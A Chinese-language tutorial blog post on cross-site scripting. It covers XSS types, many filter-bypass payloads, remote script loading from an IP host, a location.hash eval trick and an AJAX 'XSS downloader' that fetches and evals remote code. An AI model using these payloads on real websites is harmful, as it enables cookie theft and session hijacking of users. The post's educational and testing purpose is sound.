xss跨站脚本攻击

149 阅读4分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第24天,点击查看活动详情

xss定义

攻击者向有XSS漏洞的网站输入恶意代码,当用户浏览该网站时,此代码自动执行,从而攻击。

多用于盗取cookie、破坏页面结构、重定向。

危害

  • 盗取各种用户账户
  • 窃取用户cookie资料,冒充身份进入网站
  • 劫持用户会话,执行任意操作
  • 刷流浪,执行弹窗广告
  • 传播蠕虫病毒

XSS漏洞的验证

poc、exp、shellcode

poc 验证和检测漏洞的存在的代码

EXP 漏洞的完整利用工具

shellcode 利用漏洞时,所执行的代码

常用验证XSS漏洞的poc

常用 确认框 输入框

XSS的分类

反射型XSS

反射性XSS,也就是非持久性XSS。用户点击攻击链接,服务器解析后响应,在返回的响应内容中出现攻击者的XSS代码,被浏览器执行。一来一去,XSS攻击脚本被web server反射回来给浏览器执行,所以称为反射型XSS。(存在参数里)

反射型xss是非持久性跨站脚本,当客户端进行访问链接时,攻击者将恶意代码植入到URL中,如果服务端未对URL携带的参数做判断或者过滤处理,直接返回响应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而触发反射型XSS。

 

存储型XSS

存储型XSS,也就是持久型XSS。XSS恶意代码存储在web server中,这样,每一个访问特定网页的用户,都会被攻击。(存在数据库)

存储型XSS又叫持久型。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。

 

DOM XSS

基于DOM的XSS,也就是web server不参与,仅仅涉及到浏览器的XSS。比如根据用户的输入来动态构造一个DOM节点,如果没有对用户的输入进行过滤,那么也就导致XSS攻击的产生。

 

DOM型XSS是一种XSS攻击,其中攻击pyload由于修改受害者浏览器页面的DOM树而执行的

payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也使得DOM XSS比较难以检测

伪协议

除常用xss漏洞的poc外,也可以使用javascript: 伪协议的方式构造xss

  • javascript:alert('xss');
  • 链接, 点击超链接,即可触发XSS
  • img标签伪协议,IE6下才能测试成功

事件

在网页中会发生很多事件(鼠标点击、鼠标移动、键盘输入等),JS可以对这些事件进行响应、我们可以通过事件触发JS函数,出发XSS

事件种类

windows 事件 对windows对象触发的事件

Form 事件 HTML表单内的动作触发事件

Keyboard 事件 键盘按键触发事件

Mouse 事件 由鼠标或类似用户动作触发的事件

Media 事件 由多媒体触发的事件

<img src='1.png' onmouseover='alert(/xss/)'>

该标签会引入一张图片,鼠标经过该图片时,触发xss代码


<input type="text" onkeydown="alert('xss')">

键盘点击事件,当按下键盘任意按键时候触发

HTML事件:www.runoob.com/tags/ref-ev…

XSS绕过方式

大小写绕过


<imG Src='#' onerror="alert(/xss/)">

<a hRef="javaScript:alert(/xss/)">链接</a>

双写绕过

<scr

引号绕过

HTML 语言中对引号的使用不敏感


<img src="#" onerror="alert(/xss/)">

<img src='#' onerror='alert(/xss/)'>

<img src=# onerror=alert(/xss/)>

htmlspecialchars()函数

  • & (和号) 变为 &
  • " (双引号)变为 "
  • ' (单引号) 变为 '
  • < (小于) 变为 <
  • > (大于) 变为 >

回车、水平制表符绕过

image标签不能使用

可以在一些位置添加Tab(水平制表符)或回车符,来绕过关键字检测

<a href="j

a v

a s

c r

i p

t :

alert('xss')">链接

unicode编码绕过

Unicode编码转换 | Unicode在线转换 —在线工具 (sojson.com)

字母 ASCII码 十进制编码 十六进制编码

a 97 &#97; &#x61;

<a/hRef="javaScript:alert(/xss/)">链接

任意位置字符

可将以下字符插入到任意位置

Tab &#9

换行 &#10

回车 &#13

<a/hRef="javaScript:ale&#9

&#10&#13rt(/xss/)">链接

头部字符

可将以下字符插入到头部位置

SOH &#01

STX &#02

<a/hRef="&#01&#02javaScript:ale&#9&#10&#13rt(/xss/)">链接

/ 代替空格

<img/src='#'/onerror='alert(/xss/)'>

拆分跨站

长度受限制时可以拆分跨站

shellcode的调用

远程调用JS

可以将JS 代码单独放在一个js文件中,然后通过http协议远程加载该脚本。

<script src="http://192.168.92.133/xss.js"></script>

其中xss.js的内容为

alert('xss');

windows.location.hash

可以使用js中的windows.location.hash方法获取浏览器的URL地址栏的XSS代码

例如

xxx.com/index.php#a… 经过windows.location.hash的值就变为了#abc

构造代码

?submit=1&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)

XSS Downloader

XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术取得网页中的XSS代码。

常见XSS下载器

<script>
function XSS(){
	if (window.XMLHttpRequest) {
	a = new XMLHttpRequest();
	}else if (window.ActiveXObject) {
	a = new ActiveXObject( "Microsoft.XMLHTTP");
	}else {return;}
	a.open( 'GET','http://192.168.92.133/downloader.php',false);
	a.send();
	b=a.responseText;
eval(unescape(b.substring(b.indexOf('ABC|')+4,b.indexOf('|DEF'))));}
XSS();
</script>

AJAX

技术会受到浏览器同源策略的限制,为了解决这个问题,可在服务器添加以下内容

<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers:Origin,X-Requested-With,Content-Type,Accept');
?>

 

过滤测试